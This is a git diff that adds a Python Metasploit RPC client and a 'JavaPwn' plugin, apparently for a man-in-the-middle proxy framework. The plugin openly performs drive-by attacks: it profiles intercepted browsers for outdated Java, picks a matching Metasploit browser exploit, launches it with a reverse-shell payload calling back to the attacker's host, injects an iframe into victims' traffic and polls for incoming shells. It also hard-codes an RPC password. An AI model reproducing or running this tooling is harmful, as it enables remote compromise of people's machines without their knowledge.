diff --git a/msfrpc.py b/msfrpc.py
new file mode 100644
index 0000000..e7aaeca
--- /dev/null
+++ b/msfrpc.py
@@ -0,0 +1,88 @@
+#! /usr/bin/env python
+# MSF-RPC - A Python library to facilitate MSG-RPC communication with Metasploit
+# Ryan Linn - RLinn@trustwave.com, Marcello Salvati - byt3bl33d3r@gmail.com
+# Copyright (C) 2011 Trustwave
+# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+# You should have received a copy of the GNU General Public License along with this program. If not, see .
+
+
+import requests
+import msgpack
+
+class Msfrpc:
+
+ class MsfError(Exception):
+ def __init__(self,msg):
+ self.msg = msg
+ def __str__(self):
+ return repr(self.msg)
+
+ class MsfAuthError(MsfError):
+ def __init__(self,msg):
+ self.msg = msg
+
+ def __init__(self,opts=[]):
+ self.host = opts.get('host') or "127.0.0.1"
+ self.port = opts.get('port') or "55552"
+ self.uri = opts.get('uri') or "/api/"
+ self.ssl = opts.get('ssl') or False
+ self.token = None
+ self.headers = {"Content-type" : "binary/message-pack"}
+
+ def encode(self, data):
+ return msgpack.packb(data)
+
+ def decode(self, data):
+ return msgpack.unpackb(data)
+
+ def call(self, method, opts=[]):
+ if method != 'auth.login':
+ if self.token == None:
+ raise self.MsfAuthError("MsfRPC: Not Authenticated")
+
+ if method != "auth.login":
+ opts.insert(0, self.token)
+
+ if self.ssl == True:
+ url = "https://%s:%s%s" % (self.host, self.port, self.uri)
+ else:
+ url = "http://%s:%s%s" % (self.host, self.port, self.uri)
+
+
+ opts.insert(0, method)
+ payload = self.encode(opts)
+
+ r = requests.post(url, data=payload, headers=self.headers)
+
+ opts[:] = [] #Clear opts list
+
+ return self.decode(r.content)
+
+ def login(self, user, password):
+ auth = self.call("auth.login", [user, password])
+ try:
+ if auth['result'] == 'success':
+ self.token = auth['token']
+ return True
+ except:
+ raise self.MsfAuthError("MsfRPC: Authentication failed")
+
+if __name__ == '__main__':
+
+ # Create a new instance of the Msfrpc client with the default options
+ client = Msfrpc({})
+
+ # Login to the msfmsg server using the password "abc123"
+ client.login('msf','abc123')
+
+ # Get a list of the exploits from the server
+ mod = client.call('module.exploits')
+
+ # Grab the first item from the modules value of the returned dict
+ print "Compatible payloads for : %s\n" % mod['modules'][0]
+
+ # Get the list of compatible payloads for the first option
+ ret = client.call('module.compatible_payloads',[mod['modules'][0]])
+ for i in (ret.get('payloads')):
+ print "\t%s" % i
diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py
index 1488cad..de9e404 100644
--- a/plugins/BrowserProfiler.py
+++ b/plugins/BrowserProfiler.py
@@ -16,7 +16,7 @@ class BrowserProfiler(Inject, Plugin):
self.dic_output = {} # so other plugins can access the results
print "[*] Browser Profiler online"
- def post2dict(self, string):
+ def post2dict(self, string): #converts the ajax post to a dic
dict = {}
for line in string.split('&'):
t = line.split('=')
diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py
new file mode 100644
index 0000000..2b6f7c8
--- /dev/null
+++ b/plugins/JavaPwn.py
@@ -0,0 +1,179 @@
+#
+# Work in progress
+#
+from plugins.plugin import Plugin
+from plugins.BrowserProfiler import BrowserProfiler
+from time import sleep
+import string
+import random
+import threading
+import logging
+import sys, os
+import msfrpc
+
+class JavaPwn(BrowserProfiler, Plugin):
+ name = "JavaPwn"
+ optname = "javapwn"
+ desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
+ has_opts = True
+
+ def initialize(self, options):
+ '''Called if plugin is enabled, passed the options namespace'''
+ self.options = options
+ self.msfip = options.msfip
+ self.msfport = options.msfport
+
+ if not self.msfip:
+ sys.exit('[-] JavaPwn plugin requires --msfip')
+
+ #Correlates java versions with their relative exploits
+ self.javaVersionDic = {1.705: "java_verifier_field_access",
+ 1.703: "java_atomicreferencearray"}
+ #add your exploits here converting the max affected java version to a float (e.g. java version 1.7.05 => 1.705)
+
+ self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit
+
+ try:
+ msf = msfrpc.Msfrpc({}) #create an instance of msfrpc libarary
+ msf.login('msf', 'abc123')
+ version = msf.call('core.version')['version']
+ print "[*] Succesfully connected to Metasploit v%s" % version
+ except:
+ sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and ran 'load msgrpc Pass=abc123'")
+
+ #Initialize the BrowserProfiler plugin
+ BrowserProfiler.initialize(self, options)
+
+ print "[*] JavaPwn plugin online"
+ t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
+ t.setDaemon(True)
+ t.start() #start the main thread
+
+ def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
+ return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
+
+ def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
+ v = version.split(".")
+ return float(v[0] + "." + "".join(v[-(len(v)-1):]))
+
+ def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
+ #inject iframe
+ logging.info("%s >> \t now injecting iframe to trigger exploit" % client_ip)
+ self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
+
+ logging.info('%s >> \t waiting for ze shells, Please wait...' % client_ip)
+
+ exit = False
+ i = 1
+ while i <= 15: #wait max 30 seconds for a new shell
+ if exit == True:
+ break
+ shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
+ if len(shell) > 0:
+ for k,v in shell.items():
+ if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
+ logging.info("%s >> \t Got shell!" % client_ip)
+ self.sploited_ips.append(client_ip) #target successfuly exploited
+ exit = True
+ break
+ sleep(2)
+ i+=1
+
+ if exit == False: #We didn't get a shell
+ logging.info("%s >> \t session not established after 30 seconds" % client_ip)
+
+ self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
+
+ def pwn(self, msfinstance):
+ while True:
+ if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
+
+ brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
+
+ if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
+
+ vic_ip = brwprofile['ip']
+
+ client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
+
+ logging.info("%s client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
+ logging.info("%s >> \t Choosing exploit based on version string" % vic_ip)
+
+ min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
+
+ if client_version < min_version: #since the two version strings are now floats we can use the < operand
+
+ exploit = self.javaVersionDic[min_version] #get the exploit string for that version
+
+ logging.info("%s >> \t client is vulnerable to %s!" % (vic_ip, exploit))
+
+ msf = msfinstance
+
+ #here we check to see if we already set up the exploit to avoid creating new jobs for no reason
+ jobs = msf.call('job.list') #get running jobs
+ if len(jobs) > 0:
+ for k,v in jobs.items():
+ info = msf.call('job.info', [k])
+ print info
+ if exploit in info['name']:
+ logging.info('%s >> \t %s exploit already started' % (vic_ip, exploit))
+ url = info['uripath'] #get the url assigned to the exploit
+ self.injectWait(msf, url, vic_ip)
+
+ else: #here we setup the exploit
+ rand_url = self.rand_url() # generate a random url
+ rand_port = random.randint(1000, 65535) # generate a random port for the payload listener
+
+
+ #generate the command string to send to the virtual console
+ #new line character very important as it simulates a user pressing enter
+ cmd = "use exploit/multi/browser/%s\n" % exploit
+ cmd += "set SRVPORT %s\n" % self.msfport
+ cmd += "set URIPATH %s\n" % rand_url
+ cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter (plus its multi-platform! Yay java!)
+ cmd += "set LHOST %s\n" % self.msfip
+ cmd += "set LPORT %s\n" % rand_port
+ cmd += "exploit -j\n"
+
+ logging.debug("command string:\n%s" % cmd)
+
+ try:
+ logging.info("%s >> \t sending commands to metasploit" % vic_ip)
+
+ #Create a virtual console
+ console_id = msf.call('console.create')['id']
+
+ #write the cmd to the newly created console
+ msf.call('console.write', [console_id, cmd])
+
+ logging.info("%s >> \t commands sent succesfully" % vic_ip)
+ except Exception, e:
+ logging.info('%s >> \t Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e))
+
+ self.injectWait(msf, rand_url, vic_ip)
+ msfinstance.call('console.destroy', [console_id]) #destroy the virtual console
+ else:
+ logging.info("%s >> \t client is not vulnerable to any java exploit" % vic_ip)
+ self.sploited_ips.append(vic_ip)
+ sleep(0.5)
+ else:
+ sleep(0.5)
+ else:
+ sleep(0.5)
+
+ def add_options(self, options):
+ options.add_argument('--msfip', dest='msfip', help='IP Address of MSF')
+ options.add_argument('--msfport', dest='msfport', default='8080', help='Port of MSF web-server [default: 8080]')
+
+ def finish(self):
+ '''This will be called when shutting down'''
+ msf = msfrpc.Msfrpc({})
+ msf.login('msf', 'abc123')
+ jobs = msf.call('job.list')
+ print '[*] Stopping all running metasploit jobs'
+ if len(jobs) > 0:
+ for k,v in jobs.items():
+ msf.call('job.stop', [k])
+
+
+